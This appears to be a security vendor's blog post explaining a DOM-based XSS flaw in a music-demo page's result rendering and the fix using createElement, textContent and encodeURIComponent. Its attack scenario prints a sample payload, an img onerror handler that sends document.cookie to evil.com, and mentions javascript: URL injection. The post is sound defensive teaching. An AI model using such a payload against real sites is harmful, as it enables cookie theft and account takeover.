Back to Blog
high SEVERITY5 min read

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

A high-severity DOM-based XSS vulnerability in `public/audio_match_demo/index.html` allowed attackers to inject malicious JavaScript through manipulated song metadata from API responses. The fix replaces dangerous HTML string concatenation with secure DOM API methods that automatically escape content.

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

DOM-based Cross-Site Scripting (XSS) in JavaScript occurs when untrusted data is rendered into HTML using innerHTML or similar string-based methods without sanitization. In this case, `public/audio_match_demo/index.html` at line 246 concatenated API response data (`song.song.name`, `song.song.album.name`) directly into HTML anchor tags. CWE-79. The fix uses `document.createElement()`, `textContent`, and `encodeURIComponent()` to safely construct DOM nodes without HTML parsing, preventing script injection.

Vulnerability at a Glance

cweCWE-79
fixReplaced HTML string concatenation with secure DOM API methods (createElement, textContent, encodeURIComponent)
riskRemote code execution via malicious JavaScript injection through manipulated API responses
languageJavaScript (Browser)
root causeAPI response data concatenated into HTML strings using template literals without escaping
vulnerabilityDOM-based Cross-Site Scripting (XSS)

How DOM-based Cross-Site Scripting happens in JavaScript and how to fix it

Introduction

The public/audio_match_demo/index.html file powers an interactive music recognition demo that displays song matches from a backend API. When users receive search results, the application renders each matched song as a clickable link to NetEase Music. However, the original implementation at lines 255-258 constructed these links through dangerous string concatenation, creating a high-severity DOM-based XSS vulnerability that could execute attacker-controlled JavaScript in users' browsers.

The vulnerable code directly interpolated API response fields—song.song.name, song.song.album.name, and song.song.id—into HTML strings without any sanitization. Since this API returns metadata from external music databases, an attacker who could influence that data (through supply chain compromise, cache poisoning, or upstream data manipulation) could inject malicious payloads that execute immediately when rendered.

The Vulnerability Explained

The problematic code pattern was found in the result rendering loop:

// VULNERABLE CODE (lines 255-258)
for (var song of resp.data.result) {
  logs.write(
    `[result] <a target="_blank" href="https://music.163.com/song?id=${song.song.id}">${song.song.name} - ${song.song.album.name} (${song.startTime / 1000}s)</a>`
  )
}

Why this is dangerous: The logs.write() method (presumably wrapping innerHTML or similar) parses this string as HTML. Any special characters in the song name or album—such as <, >, ", ', or &—are interpreted as HTML markup rather than literal text.

Specific attack scenario: An attacker poisons the upstream music database to include a song named:

</a><img src=x onerror=fetch('https://evil.com/steal?cookie='+document.cookie)><a>

When the demo renders results containing this "song," the browser executes the injected script, exfiltrating cookies or performing actions as the victim user. The song.song.id parameter is similarly vulnerable in the href attribute, enabling JavaScript protocol injection like javascript:alert(1) or javascript:eval(...).

Real-world impact: This demo page likely runs on the same origin as production services. Successful exploitation could:
- Steal authentication tokens from document.cookie
- Perform actions on behalf of users via XMLHttpRequest or fetch()
- Deface the application or redirect users to phishing sites
- Establish persistent access through service worker registration

The Fix

The remediation replaces HTML string construction with secure DOM API usage, eliminating the HTML parser entirely for untrusted content:

// SECURE CODE (lines 258-265)
for (var song of resp.data.result) {
  var a = document.createElement('a');
  a.href = 'https://music.163.com/song?id=' + encodeURIComponent(song.song.id);
  a.target = '_blank';
  a.textContent = song.song.name + ' - ' + song.song.album.name + ' (' + (song.startTime / 1000) + 's)';
  logs.appendChild(document.createTextNode('[result] '));
  logs.appendChild(a);
  logs.appendChild(document.createElement('br'));
}

Key security improvements:

Aspect Before After
URL construction Template literal interpolation encodeURIComponent() ensures URL-safe encoding
Text content HTML string concatenation textContent property treats value as literal text, never HTML
Element creation String parsing via innerHTML document.createElement() builds DOM nodes directly
Structural elements Inline <br> in HTML string Explicit document.createElement('br')

The textContent property is the critical defense here: it automatically escapes all HTML special characters, so even if song.song.name contains <script>alert(1)</script>, it renders as visible text rather than executing. Similarly, encodeURIComponent() on song.song.id prevents javascript: protocol injection and ensures valid URL formatting.

Prevention & Best Practices

1. Prefer DOM APIs over HTML strings

When building dynamic content, use document.createElement(), element.textContent, and element.setAttribute() rather than innerHTML, outerHTML, or document.write(). This architectural choice eliminates an entire class of injection vulnerabilities by design.

2. Encode for the correct context

Different contexts require different encoding:
- HTML text content: Use textContent (automatic) or HTML entity encoding
- URL parameters: Use encodeURIComponent()
- URL paths: Use encodeURI()
- CSS values: Use CSS escaping or strict validation
- JavaScript strings: Use JSON serialization

3. Validate API responses

Treat all external data as untrusted. Implement schema validation at API boundaries to reject unexpected types, lengths, or character sets before processing.

4. Content Security Policy (CSP)

Deploy a strict CSP to mitigate residual XSS risks:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none';

5. Security testing

Integrate static analysis tools that detect dangerous patterns:
- innerHTML assignments with non-literal values
- Template literal HTML construction with interpolated variables
- Unencoded URL parameter construction

Key Takeaways

  • Never concatenate API response data into HTML strings: The logs.write() pattern with template literals containing ${song.song.name} created an exploitable injection point at line 255
  • textContent is safer than innerHTML for dynamic text: The fix demonstrates that a.textContent = ... automatically neutralizes HTML metacharacters without manual escaping
  • URL parameters require encoding, not just validation: encodeURIComponent(song.song.id) prevents both injection attacks and URL parsing errors
  • DOM construction beats string templating: Building nodes with createElement(), appendChild(), and createTextNode() provides defense-in-depth against encoding mistakes
  • Client-side rendering carries client-side risk: Even "static" demo pages processing API data must implement the same security controls as production applications

How Orbis AppSec Detected This

Source: HTTP API response body containing resp.data.result array with song.song.name, song.song.album.name, and song.song.id fields

Sink: HTML string concatenation passed to logs.write() at public/audio_match_demo/index.html:255-258, which renders content via innerHTML or equivalent

Missing control: No sanitization, encoding, or validation of API response fields before DOM insertion; use of dangerous HTML string construction instead of safe DOM APIs

CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Fix: Replaced HTML string templating with secure DOM construction using document.createElement(), textContent assignment, and encodeURIComponent() for URL parameters

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This vulnerability illustrates a common misconception: that "just displaying data from an API" is inherently safe. The audio_match_demo incident proves that any data crossing a trust boundary—from external APIs, databases, or user inputs—must be handled with appropriate security controls. The fix demonstrates that modern JavaScript provides elegant, performant alternatives to HTML string manipulation. By adopting DOM-based construction patterns as the default approach, developers can eliminate entire categories of XSS vulnerabilities while writing cleaner, more maintainable code.

References

  • CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') — https://cwe.mitre.org/data/definitions/79.html
  • OWASP Cross-Site Scripting (XSS) Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • MDN: textContent vs innerHTML — https://developer.mozilla.org/en-US/docs/Web/API/Node/textContent#differences_from_innerhtml
  • MDN: encodeURIComponent() — https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent
  • Semgrep rule for dangerous innerHTML assignment — https://semgrep.dev/r?q=browser.security.insecure-document-write
  • GitHub PR: fix: the audio match demo page renders api response ... in index.html

Frequently Asked Questions

What is DOM-based XSS?

DOM-based XSS occurs when client-side JavaScript processes untrusted data and writes it to the DOM using dangerous methods like innerHTML, allowing script execution without server involvement.

How do you prevent DOM-based XSS in JavaScript?

Use safe DOM APIs like document.createElement() and textContent instead of innerHTML; apply encodeURIComponent() to URL parameters; validate and sanitize all dynamic data before DOM insertion.

What CWE is DOM-based XSS?

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Is HTML escaping enough to prevent DOM-based XSS?

HTML escaping helps but is error-prone; using textContent (which never parses HTML) and createElement() is more reliable than manual escaping of innerHTML strings.

Can static analysis detect DOM-based XSS?

Yes, static analysis tools like Semgrep and multi_agent_ai scanners can detect patterns like innerHTML assignments with untrusted data or HTML string concatenation with API responses.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #227

Related Articles

critical

How Cross-Site Scripting happens in fast-xml-parser and how to fix it

CVE-2026-25896 is a critical Cross-Site Scripting vulnerability in fast-xml-parser stemming from improper DOCTYPE entity handling, which could allow attackers to inject malicious scripts through crafted XML payloads. The fix upgrades the vulnerable dependency from version 4.4.1 to patched versions 5.3.5 and 4.5.4, eliminating the unsafe parsing behavior while preserving all legitimate XML processing functionality.

critical

How Unsandboxed iframe Content Injection happens in JavaScript and how to fix it

A critical vulnerability in `app-viewer/js/LupineVault.js` allowed attacker-controlled HTML fetched from an external CDN to execute scripts in the application's full origin context by injecting it directly into an iframe's `srcdoc` attribute without any sandbox restrictions. The fix adds a `sandbox` attribute to the iframe element, restricting what the injected content can do even if it contains malicious scripts. This prevents cross-site scripting and origin-context script execution that could

critical

How Unsanitized External Content Injection happens in JavaScript and how to fix it

A critical content injection vulnerability in `app-viewer/js/youtube.js` allowed arbitrary HTML and JavaScript from a compromised external CDN to execute directly in the hosting origin's context. The fix replaces unsafe `fetch()`-then-inject patterns with direct URL assignment, eliminating the attack surface entirely. This change prevents supply-chain-style attacks where a compromised JSON manifest could deliver malicious payloads to every user of the viewer.

critical

How Unsafe Attribute Injection happens in JavaScript i18n and how to fix it

A critical attribute injection vulnerability in `assets/js/language.js` allowed attackers with write access to locale JSON files to inject arbitrary HTML attributes — including event handlers like `onclick` — into DOM elements via the `applyTranslations()` function. The fix introduces a strict allowlist (`SAFE_ATTRS`) that restricts which attributes the i18n system can set, closing the injection path entirely. This is a concrete reminder that any code path that writes attacker-influenced data in

critical

How DOM-Based XSS Happens in JavaScript CSS Selectors and How to Fix It

A DOM-based XSS vulnerability in SaltGUI's `Output.js` allowed attackers to inject malicious characters into CSS query selectors by manipulating minion ID values. The root cause was that `btoa()`-encoded IDs could still contain `+`, `/`, and `=` characters that are invalid in CSS selectors, enabling selector breakout. The fix converts the encoding to base64url (RFC 4648 §5), replacing all problematic characters before the ID is used in `querySelector` calls.

high

How Dependabot Missing Cooldown Periods Enable Supply Chain Attacks and How to Fix It

A critical security vulnerability in `.github/dependabot.yml` was exposing a Node.js library to supply chain attacks by automatically updating to newly published packages without a safety delay. By adding a 7-day cooldown period to each package ecosystem configuration, the project now protects against malicious or unstable package versions that could affect downstream consumers.